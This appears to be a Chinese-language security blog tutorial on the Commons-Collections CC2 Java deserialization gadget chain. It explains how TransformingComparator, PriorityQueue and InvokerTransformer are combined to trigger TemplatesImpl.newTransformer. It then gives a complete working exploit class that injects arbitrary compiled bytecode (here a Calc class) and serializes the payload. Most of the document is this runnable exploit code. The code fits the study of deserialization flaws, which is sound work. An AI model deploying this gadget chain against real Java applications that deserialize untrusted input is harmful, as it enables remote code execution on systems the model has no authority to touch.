Java反序列化Commons-Collections篇06-CC2链
前言
CC2链就是在CC4链的基础上做了少量修改,目的是避免使用了Transformer数组
CC2链就是在CC4链的基础上去除了通过
InstantiateTransformer.transform
调用TrAXFilter.TrAXFilte
这一步骤,转而通过InvokerTransformer执行TemplatesImpl.newTransformer,从而实现加载动态加载恶意类。
构造链
首先TemplatesImpl.newTransformer到动态加载恶意类这一部分的链子是和CC4链一样的
TemplatesImpl templates=new TemplatesImpl();
Class c=templates.getClass();
Field bytecodes=c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] eval= Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
byte[][]code={eval};
bytecodes.set(templates,code);
Field name=c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");
Field tfactory=c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
然后再
TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));
在transformingComparator中传入一个无用的值,这里是为了延后恶意代码的执行时间,让它在反序列化的时候再执行。
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
将transformingComparator传入priorityQueue,因为priorityQueue在反序列化的时候会自动执行comparator.compare(),而transformingComparator.compare()会执行this.transformer.transform(obj1),而最后我们可以通过InvokerTransformer.transform()函数的
最终执行我们需要的templates.newTransformer();
priorityQueue.add(templates);
priorityQueue.add(templates);
我们在priorityQueue中加入templates,最后传到InvokerTransformer.transform(templates),执行templates.newTransformer();
InvokerTransformer invokerTransformer=new InvokerTransformer<>("newTransformer",new Class[]{},new Object[]{});
Class cl=TransformingComparator.class;
Field in=cl.getDeclaredField("transformer");
in.setAccessible(true);
in.set(transformingComparator,invokerTransformer);
构造InvokerTransformer包含newTransformer,最后利用反射将invokerTransformer传入transformingComparator
exp
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String []args)throws Exception{
TemplatesImpl templates=new TemplatesImpl();
Class c=templates.getClass();
Field bytecodes=c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] eval= Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
byte[][]code={eval};
bytecodes.set(templates,code);
Field name=c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");
Field tfactory=c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
InvokerTransformer invokerTransformer=new InvokerTransformer<>("newTransformer",new Class[]{},new Object[]{});
Class cl=TransformingComparator.class;
Field in=cl.getDeclaredField("transformer");
in.setAccessible(true);
in.set(transformingComparator,invokerTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
ois.readObject();
return ois;
}
}
总结
License:
CC BY 4.0